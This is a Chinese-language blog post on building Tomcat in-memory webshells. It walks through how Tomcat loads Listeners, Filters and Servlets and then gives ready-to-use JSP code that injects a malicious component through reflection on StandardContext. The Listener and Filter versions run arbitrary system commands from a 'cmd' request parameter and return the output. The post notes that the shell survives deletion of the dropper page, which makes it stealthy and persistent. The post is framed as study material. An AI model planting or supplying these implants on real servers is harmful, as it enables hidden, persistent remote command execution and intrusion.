博客 / 詳情

返回

java安全學習--內存馬學習(tomcat內存馬)

1.內存馬的原理及實現思路

  • tomcat在處理傳入的請求時會依次經過 Listener Filter Servlet 這三個組件且這三個組件都會被加載進內存中,所以如果我們把惡意代碼偽裝成這幾個組件並被加載進內存就能達到隱藏木馬的目的而且就算被發現了也有一定的清除難度。
  • 那具體要怎麼實現呢?我們的大致思路是上傳一段能被觸發的 jsp 或 java 代碼,然後讓這段代碼去創建一個惡意的 Listener、Filter 或 Servlet 組件,然後將我們上傳的代碼刪除由此就可以得到一個隱蔽的內存馬了。

2.分析&實現

(1)Listener 內存馬

如何加載惡意 Listener?

首先我們先建立一個簡單的 Listener(監聽器)用來觀察 tomcat 是如何把監聽器加入內存的,這裏我們先新建一個項目,這裏我是直接新建了一個 Jakarta EE 項目,如果沒有的話普通的 maven 項目也是可以的
image
由於一會要分析 tomcat 加載監聽器的過程所以這裏要加一個依賴方便我們一會去分析代碼

      <dependency>
          <groupId>org.apache.tomcat</groupId>
          <artifactId>tomcat-catalina</artifactId>
          <version>10.1.39</version> <!--版本為自己部署的tomcat的具體版本-->
      </dependency>

在 maven 加載完了之後記得要去下載一下項目的源代碼方便一會進行分析
image
然後新建一個 Test 類用來進行 Listener 的測試,代碼如下,本次創建的是一個 ServletRequestListener 用於監聽每一次單次請求,每一次請求的產生與銷燬都會觸發這個監聽器

package org.example.insideshell1;

import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;

public class Test implements ServletRequestListener {
    //請求銷燬時觸發
    @Override
    public void requestDestroyed(ServletRequestEvent arg0) {
        System.out.println("requestDestroyed");
    }
    //請求創建時觸發
    @Override
    public void requestInitialized(ServletRequestEvent arg0) {
        System.out.println("requestInitialized");
    }
}

接下來我們要去 web.xml 註冊我們剛剛創建的監聽器,如下

    <listener>
        <listener-class>org.example.insideshell1.Test</listener-class>
    </listener>

image
接下來我們先試試剛剛創建的監聽器是否有用,可以看到在我訪問頁面時確實進行了請求創建與銷燬信息的輸出説明我們的簡單監聽器成功實現了
image
然後我們就要看這個監聽器是怎麼加載的了,從剛剛的註冊信息我們可以看出 tomcat 在加載時會去加載我們這個類所以一會在調試的時候可以看是哪個地方加載了我們的這個測試類,先在如圖所示的地方打一個斷點
image
通過調用鏈可以發現我們傳入的請求是通過context.fireRequestInitEvent處理我們傳入的請求的
image
繼續向上看context.fireRequestInitEvent方法會發現在這個方法中是通過getApplicationEventListeners這個方法獲得的實例轉成ServletRequestListener類後用其中的requestInitialized方法去處理請求事件的
image
於是我們接着跟getApplicationEventListeners方法這個方法是把applicationEventListenersList中的所有元素轉成一個Object類型的數組並返回,並沒有在其中發現有我們想要的添加監聽器的相關操作,但是我們也可以把我們的惡意類加到applicationEventListenersList的屬性中去也可以實現我們的目的
image
於是接着去看這個applicationEventListenersList屬性的定義,可以發現是CopyOnWriteArrayList類的一個實例,問ai得知這是專門解決多線程環境下讀操作頻繁、寫操作稀少場景的併發安全問題,同時兼顧讀操作的高性能的一個類,並得知其中有增刪改查這幾個方法,其中add這個方法是用來增加屬性的。
image
於是去搜索applicationEventListenersList.add看是否有方法可以向其中加我們寫的惡意類,發現了addApplicationEventListener這個方法可以向applicationEventListenersList中加我們寫的惡意類
image
於是接下來就是要找一個方法去調用StandardContext#addApplicationEventListener把我們的惡意類加到applicationEventListenersList的屬性中去就可以了,但是由於種種安全機制無法直接調用需要藉助反射,所以我們就要拿到StandardContext這個類,通過翻譯StandardContext類的文檔我們可以知道這個類是Context這個接口的標準實現,於是我們接下來只要能拿Context這個類我們就可以強轉成他的子類StandardContext後續就可以調用addApplicationEventListener方法
image
於是直接去看有哪些類用到了Context,由於有很多地方都用到了Context所以我們從簡單的到難的去看,發現Request#getContext會直接返回這個類
image
於是我們接着去看怎麼可以得到Request類,發現RequestFacade類中剛好就有這個類實例化的屬性
image
RequestFacade正是我們的請求對象的類型
image

具體的代碼實現

於是通過反射我們就可以輕鬆的獲取到StandardContext#addApplicationEventListener這個方法,代碼如下,由於內存馬一般寫到 jsp 文件中所以下面的代碼也是 jsp 頁面的代碼

<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
    //先獲取RequestFacade類中的request屬性並轉換成Request類
    Field reqf = request.getClass().getDeclaredField("request");
    reqf.setAccessible(true);
    Request req = (Request) reqf.get(request);
    //然後獲取其中的通過getContext()方法獲取Context類並轉為StandardContext類
    StandardContext con = (StandardContext) req.getContext();
%>

接下來就是我們要寫一個惡意的監聽器類然後用上面獲取的StandardContext類注入到內存去,寫完之後的 jsp 頁面的代碼如下

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    //惡意類
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            //先獲取請求對象
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            //檢測對象中是否有 cmd 這個參數,我們執行的命令就是這個參數的值
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    //這裏也用到了上面説的反射獲取Request對象的方法,但這一次是為了把我們的命令執行的結果輸出到請求中
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    //先獲取RequestFacade類中的request屬性並轉換成Request類
    Field reqf = request.getClass().getDeclaredField("request");
    reqf.setAccessible(true);
    Request req = (Request) reqf.get(request);
    //然後獲取其中的通過getContext()方法獲取Context類並轉為StandardContext類
    StandardContext con = (StandardContext) req.getContext();
    MyListener ld = new MyListener();
    con.addApplicationEventListener(ld);
%>

先訪問我們剛剛寫的惡意 jsp 頁面後就可以成功執行命令
image
可以看到就算我們把剛剛寫的惡意頁面刪除了也依舊能執行命令
image
image

(2)Filter 內存馬

如何加載惡意 Filter ?

首先也是和上面一樣先實現一個簡單的 Filter 用於後續的調試,代碼和 web.xml 配置如下

package org.example.insideshell1;

import jakarta.servlet.*;
import jakarta.servlet.http.HttpFilter;

import java.io.IOException;

public class Test extends HttpFilter {
    //過濾器具體的執行邏輯
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("doFilter");
        super.doFilter(servletRequest,servletResponse,filterChain);
    }
}

<filter>
    <filter-name>Test</filter-name>
    <filter-class>org.example.insideshell1.Test</filter-class>
</filter>
<filter-mapping>
    <filter-name>Test</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

這是一個 Http 的過濾器對所有/*路徑都有效,部署成功會輸出如圖所示的信息
image
之後依舊是下斷點進行調試,斷點下在輸出語句處
image
調試開始以後先找到最早調用doFilter這個方法的地方,可以發現是在StandardWrapperValve#invoke中調用了filterChaindoFilter方法
image
接着向上看發現filterChain是由ApplicationFilterFactory#createFilterChain進行創建的
image
繼續跟到ApplicationFilterFactory#createFilterChain中進行查看,核心部分如圖所示,由圖我們也可以知道我們要創建一個惡意的Filter有兩個步驟,首先要把惡意類的配置信息加到Context中,然後要建立跟配置信息相關的映射
image
於是先去看findFilterMaps方法,發現這個方法在StandardContext這個類中,而在上面關於 Listener 內存馬的利用中我們是調用了這個類中的addApplicationEventListener這個方法,且在看代碼的時候發現有很多方法都是findadd成對出現的,所以這裏直接去搜有沒有addFilter這類的方法,直接搜到了兩個可以向FilterMaps中添加映射的方法如圖
image
但是這裏我們只知道要加一個FliterMap類但並不知道這個類裏面要放什麼東西,於是回到剛剛的ApplicationFilterFactory#createFilterChain中進行查看可以發現在其中用到FliterMap的地方有三處需要設置,而需要我們手動進行配置的只有名字和用於匹配的 URL 路徑這兩個地方
image
既然知道了FliterMap要怎麼設置那就繼續順着向下看在ApplicationFilterFactory#createFilterChain中還用到了filterConfig這個東西,而且其中存放的就是 Filter 的數據,所以我們繼續跟findFilterConfig這個方法,可以看到他返回的是StandardContext中的filterConfigs屬性的某個值,可以看到這個屬性是一個HashMap而剛剛通過鍵拿到的值是一個ApplicationFilterConfig
image
直接去看ApplicationFilterConfig類的定義,在生成方法中發現這個類是通過FilterDef這個類去拿到的Filter類並通過Context接口進行實例化,現在我們知道了ApplicationFilterConfig是個什麼東西了但現在產生了一個新的問題,StandardContext是什麼時候生成了這個filterConfigs並與每一個 Filter 的FilterDef關聯起來的呢?
image
於是接着去StandardContext中搜索filterConfigs關鍵字,於是我們在StandardContext#filterStart中找到了相關的操作,是通過遍歷filterDefs這個屬性並且如果他的鍵不為則生成一個FilterConfig並放到FilterConfigs中去
image
由上面的分析可知FilterDef中存放着 Filter 的具體信息,而filterDefs中又存放着所有可以被實例化的FilterDef所以我們只需要造一個惡意的FilterDef並放在filterDefs中後再建立一個映射就可以達到注入惡意 Filter 的目的,所以我們繼續看怎麼才能向filterDefs中插入FilterDef,通過關鍵字搜索找到了StandardContext#addFilterDef這個可以向filterDefs中插入FilterDef的方法
image
且通過這個方法我們也知道要給FilterDef賦值一個名字,但是現在還有一個問題,我們的惡意類還沒有賦值到一個地方,但是調用鏈的這一環也沒用看到調用我們自己的 Filter,於是繼續向下翻調用鏈
image
發現在這個地方實例化了我們自己定義的 Filter,而且用的是FilterConfig中的getFilter方法
image
轉到這個方法發現其實是實例化了FilterConfigfilterDeffilterClass屬性,而這個屬性正好可以用惡意類進行賦值,所以這裏我們也確定了FilterDef中還要設定的另一個屬性也找到了我們惡意類放的地方
image

具體的代碼實現

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    // 惡意 Filter
    public class ShellFilter implements Filter {
        //實現邏輯與Listener基本上一樣
        @Override
        public void doFilter(ServletRequest req, ServletResponse resp,
                             FilterChain chain) throws IOException, ServletException {
            String cmd = req.getParameter("cmd");
            if (cmd != null) {
                Process proc = Runtime.getRuntime().exec(cmd);
                BufferedReader br = new BufferedReader(
                        new InputStreamReader(proc.getInputStream()));
                String line;
                while ((line = br.readLine()) != null) {
                    resp.getWriter().println(line);
                }
                br.close();
            } else {
                chain.doFilter(req, resp);
            }
        }
    }
%>
<%
    //由於接下來要對StandardContext類進行操作所以我們要先拿到這個類
    //先獲取RequestFacade類中的request屬性並轉換成Request類
    Field reqf = request.getClass().getDeclaredField("request");
    reqf.setAccessible(true);
    Request req = (Request) reqf.get(request);
    //然後獲取其中的通過getContext()方法獲取Context類並轉為StandardContext類
    StandardContext con = (StandardContext) req.getContext();
    ShellFilter shell = new ShellFilter();
    //構造惡意的FilterDef類
    FilterDef def = new FilterDef();
    def.setFilterName("test-shell");
    def.setFilter(shell);
    def.setFilterClass(shell.getClass().getName());
    //構建惡意FilterDef的映射
    FilterMap fm = new FilterMap();
    fm.addURLPattern("/*");
    fm.setFilterName("test-shell");
    //把創建的惡意類與映射注入到StandardContext中
    con.addFilterDef(def);
    con.addFilterMap(fm);
    //filterStart()更新FilterDefs和FilterConfigs
    con.filterStart();
%>

成功執行命令
image

(3) Servlet 內存馬

如何加載惡意 Servlet?

還是和之前一樣先做一個簡單的 Servlet 並通過調試觀察 tomcat 是如何加載的,代碼實現如下

package org.example.insideshell1;

import jakarta.servlet.*;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

public class Test extends HttpServlet {
    //Get請求會觸發的方法
    @Override
    public void doGet(HttpServletRequest servletRequest, HttpServletResponse servletResponse) throws IOException, ServletException {
        System.out.println("doGet");
    }
}

web.xml 配置

    <servlet>
        <servlet-name>Test</servlet-name>
        <servlet-class>org.example.insideshell1.Test</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>Test</servlet-name>
        <url-pattern>/*</url-pattern>
    </servlet-mapping>

啓動後可以看到是部署成功了
image
然後還是在輸出語句處下一個斷點並進行調試,通過觀察調用棧中可以發現是在AuthenticatorBase#invokeStandardContextValve#invoke的過程中把我們的 Servlet 加到了StandardContext,所以從這兩步觀察程序是如何把我們的 Servlet 加到StandardContext
image
繼續觀察此處的各個類的屬性可以發現StandardContext#servletMappings記錄了我們的路徑和類的映射關係
image
然後我們可以看到我們的類是放在StandardWrapper#instance中而類的路徑是放在StandardWrapper#servletClass中,Servlet 的名字則是放在StandardWrapper#name
image
於是接下來就是要對上述説的這些屬性進行修改使其指向我們的惡意 Servlet,首先通過關鍵字搜索找到了StandardContext#addServletMappingDecoded這個方法可以向servletMappings中加映射關係
image
StandardContext#addServletMappingDecoded這個方法中可以發現程序是在StandardContext#children中查找是否有對應的類,通過上面的兩個內存馬我們可以知道在StandardContext這個類中有這種列表屬性一般都會有 add 和 find 方法,所以我們直接進行搜索發現了StandardContext#addChild這個方法可以向StandardContext#children中加入我們的惡意類,通過查看實現可以發現StandardWrapperWrapper都繼承了Container,所以我們可以把StandardWrapperWrapper通過這個方法加入其中
image
接着我們查看該如何修改StandardWrapper中的三個屬性,這裏我們通過關鍵字搜索分別找到三個方法
image
由於StandardContext這個類我們之前已經多次通過反射獲取所以這裏我們只需要獲取到StandardWrapper類並通過上面的那三個方法向其中修改並通過StandardContext#addChild這個方法加入到StandardContext中由此將我們的惡意類寫入內存,通過關鍵字搜索可以發現可以比較容易的通過StandardContext#createWrapper獲得StandardWrapper這個類
image

具體的代碼實現

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="jakarta.servlet.http.HttpServlet"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    // 惡意 Servlet 定義
    public class ShellServlet extends HttpServlet {
        @Override
        public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
            Runtime.getRuntime().exec("calc"); // 示例:執行系統命令
        }
    }
%>

<%
    //老方法獲取 StandardContext
    Field reqf = request.getClass().getDeclaredField("request");
    reqf.setAccessible(true);
    Request req = (Request) reqf.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
    //實現一個惡意的 StandardWrapper 類
    StandardWrapper sw = (StandardWrapper)standardContext.createWrapper();
    sw.setServlet(new ShellServlet());
    sw.setServletClass(ShellServlet.class.getName());
    sw.setName("shell");
    // 向 StandardContext 中注入我們實現的惡意類,我們要先訪問我們的jsp腳本把馬注入進去再訪問我們下面設置的路徑
    standardContext.addChild(sw);
    standardContext.addServletMappingDecoded("/shell", "shell");
%>

成功執行
image

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.